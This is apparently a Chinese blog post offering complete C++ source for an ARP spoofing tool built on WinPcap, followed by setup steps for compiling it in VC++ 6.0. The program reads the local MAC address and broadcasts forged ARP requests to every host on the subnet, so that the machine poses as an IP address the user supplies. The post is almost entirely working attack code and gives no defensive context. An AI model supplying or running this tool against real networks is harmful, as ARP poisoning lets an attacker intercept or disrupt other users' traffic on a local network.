1. 程式人生 > >ARP欺騙原始碼(基於WinPcap實現)

ARP欺騙原始碼(基於WinPcap實現)

//ArpCheat.h 

#ifndef MY_ARP_CHEAT_INCLUDE_H 
#define MY_ARP_CHEAT_INCLUDE_H 

//位元組對齊必須是1 
#pragma pack (1) 
struct ethernet_head 
{ 
unsigned char dest_mac[6]; //目標主機MAC地址 
unsigned char source_mac[6]; //源端MAC地址 
unsigned short eh_type; //乙太網型別 
}; 

struct arp_head 
{ 
unsigned short hardware_type; //硬體型別:乙太網介面型別為1 
unsigned short protocol_type; //協議型別:IP協議型別為0X0800 
unsigned char add_len; //硬體地址長度:MAC地址長度為6B 
unsigned char pro_len; //協議地址長度:IP地址長度為4B 
unsigned short option; //操作:ARP請求為1,ARP應答為2 
unsigned char sour_addr[6]; //源MAC地址:傳送方的MAC地址 
unsigned long sour_ip; //源IP地址:傳送方的IP地址 
unsigned char dest_addr[6]; //目的MAC地址:ARP請求中該欄位沒有意義;ARP響應中為接收方的MAC地址 
unsigned long dest_ip; //目的IP地址:ARP請求中為請求解析的IP地址;ARP響應中為接收方的IP地址
unsigned char padding[18]; 
}; 

struct arp_packet //最終arp包結構 
{ 
ethernet_head eth; //乙太網頭部 
arp_head arp; //arp資料包頭部 
}; 
#pragma pack () 
/** 
* 獲得網絡卡的MAC地址 
* pDevName 網絡卡的裝置名稱 
*/ 
unsigned char* GetSelfMac(char* pDevName); 
/** 
* 封裝ARP請求包 
* source_mac 源MAC地址 
* srcIP 源IP 
* destIP 目的IP 
*/ 
unsigned char* BuildArpPacket(unsigned char* source_mac, 

unsigned long srcIP, unsigned long destIP); 

#endif

//ArpCheat.cpp 
#include <stdio.h> 
#include <pcap.h> 
#include <conio.h> 
#include <packet32.h> 
#include <ntddndis.h> 
#include "ArpCheat.h" 

int main(int argc,char* argv[]){ 
pcap_if_t *alldevs; //全部網絡卡列表 
pcap_if_t *d; //一個網絡卡 
int inum; //使用者選擇的網絡卡序號 
int i=0; //迴圈變數 
pcap_t *adhandle; //一個pcap例項 
char errbuf[PCAP_ERRBUF_SIZE]; //錯誤緩衝區 
unsigned char *mac; //本機MAC地址 
unsigned char *packet; //ARP包 
unsigned long fakeIp; //要偽裝成的IP地址 
pcap_addr_t *pAddr; //網絡卡地址 
unsigned long ip; //IP地址 
unsigned long netmask; //子網掩碼 

if(argc!=2){ 
printf("Usage: %s inet_addr\n",argv[0]); 
return -1; 
} 

//從引數列表獲得要偽裝的IP地址 
fakeIp = inet_addr(argv[1]); 
if(INADDR_NONE==fakeIp){ 
fprintf(stderr,"Invalid IP: %s\n",argv[1]); 
return -1; 
} 

/* 獲得本機網絡卡列表 */ 
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) 
{ 
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); 
exit(1); 
} 

/* 列印網絡卡列表 */ 
for(d=alldevs; d; d=d->next) 
{ 
printf("%d", ++i); 
if (d->description) 
printf(". %s\n", d->description); 
else 
printf(". No description available\n"); 
} 
//如果沒有發現網絡卡 
if(i==0) 
{ 
printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); 
return -1; 
} 
//請使用者選擇一個網絡卡 
printf("Enter the interface number (1-%d):",i); 
scanf("%d", &inum); 

//如果使用者選擇的網絡卡序號超出有效範圍,則退出 
if(inum < 1 || inum > i) 
{ 
printf("\nInterface number out of range.\n"); 
/* Free the device list */ 
pcap_freealldevs(alldevs); 
return -1; 
} 




/* 移動指標到使用者選擇的網絡卡 */ 
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); 

mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" 

printf("傳送ARP欺騙包,本機(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 試圖偽裝成%s\n", 
mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); 



/* 開啟網絡卡 */ 
if ( (adhandle= pcap_open(d->name, // name of the device 
65536, // portion of the packet to capture 
0, //open flag 
1000, // read timeout 
NULL, // authentication on the remote machine 
errbuf // error buffer 
) ) == NULL) 
{ 
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", 
d->name); 
/* Free the device list */ 
pcap_freealldevs(alldevs); 
return -1; 
} 

for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ 
//得到使用者選擇的網絡卡的一個IP地址 
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; 
//得到該IP地址對應的子網掩碼 
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; 
if (!ip || !netmask){ 
continue; 
} 
//看看這個IP和要偽裝的IP是否在同一個子網 
if((ip&netmask)!=(fakeIp&netmask)){ 
continue; //如果不在一個子網,繼續遍歷地址列表 
} 

unsigned long netsize = ntohl(~netmask); //網路中主機數
unsigned long net = ip & netmask; //子網地址 

for(unsigned long n=1; n<netsize; n++){ 
//第i臺主機的IP地址,網路位元組順序 
unsigned long destIp = net | htonl(n); 
//構建假的ARP請求包,達到本機偽裝成給定的IP地址的目的 
packet = BuildArpPacket(mac,fakeIp,destIp); 
if(pcap_sendpacket(adhandle, packet, 60)==-1){ 
fprintf(stderr,"pcap_sendpacket error.\n"); 
} 
} 

} 

return 0; 
} 
/** 
* 獲得網絡卡的MAC地址 
* pDevName 網絡卡的裝置名稱 
*/ 
unsigned char* GetSelfMac(char* pDevName){ 

static u_char mac[6]; 

memset(mac,0,sizeof(mac)); 

LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); 

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) 
{ 
return NULL; 
} 

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); 
if (OidData == NULL) 
{ 
PacketCloseAdapter(lpAdapter); 
return NULL; 
} 
// 
// Retrieve the adapter MAC querying the NIC driver 
// 
OidData->Oid = OID_802_3_CURRENT_ADDRESS; 

OidData->Length = 6; 
memset(OidData->Data, 0, 6); 
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); 
if(Status) 
{ 
memcpy(mac,(u_char*)(OidData->Data),6); 
} 
free(OidData); 
PacketCloseAdapter(lpAdapter); 
return mac; 

} 

/** 
* 封裝ARP請求包 
* source_mac 源MAC地址 
* srcIP 源IP 
* destIP 目的IP 
*/ 
unsigned char* BuildArpPacket(unsigned char* source_mac, 
unsigned long srcIP,unsigned long destIP) 
{ 
static struct arp_packet packet; 

//目的MAC地址為廣播地址,FF-FF-FF-FF-FF-FF 
memset(packet.eth.dest_mac,0xFF,6); 
//源MAC地址 
memcpy(packet.eth.source_mac,source_mac,6); 
//上層協議為ARP協議,0x0806 
packet.eth.eh_type = htons(0x0806); 

//硬體型別,Ethernet是0x0001 
packet.arp.hardware_type = htons(0x0001); 
//上層協議型別,IP為0x0800 
packet.arp.protocol_type = htons(0x0800); 
//硬體地址長度:MAC地址長度為0x06 
packet.arp.add_len = 0x06; 
//協議地址長度:IP地址長度為0x04 
packet.arp.pro_len = 0x04; 
//操作:ARP請求為1 
packet.arp.option = htons(0x0001); 
//源MAC地址 
memcpy(packet.arp.sour_addr,source_mac,6); 
//源IP地址 
packet.arp.sour_ip = srcIP; 
//目的MAC地址,填充0 
memset(packet.arp.dest_addr,0,6); 
//目的IP地址 
packet.arp.dest_ip = destIP; 
//填充資料,18B 
memset(packet.arp.padding,0,18); 

return (unsigned char*)&packet; 
}

VC++ 6.0 中使用WinPcap
下載並安裝WinPcap,安裝之後在目錄”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。
增加WinPcap的include和lib路徑:
Tools→Options→Directories,其中include檔案的路徑增加WinPcap的include路徑(其中有pcap.h等標頭檔案),library檔案的路徑增加WinPcap的lib路徑(其中有Packet.lib和wpcap.lib)。
增加專案的靜態連結庫:
Project→Settings→Link→Object/library Modules,在文字框的末尾新增”wpcap.lib packet.lib ws2_32.lib“。
增加預編譯資訊:
Project→Settings→C/C++→Preprocessor definitions,在文字框的末尾新增”WPCAP,HAVE_REMOTE“。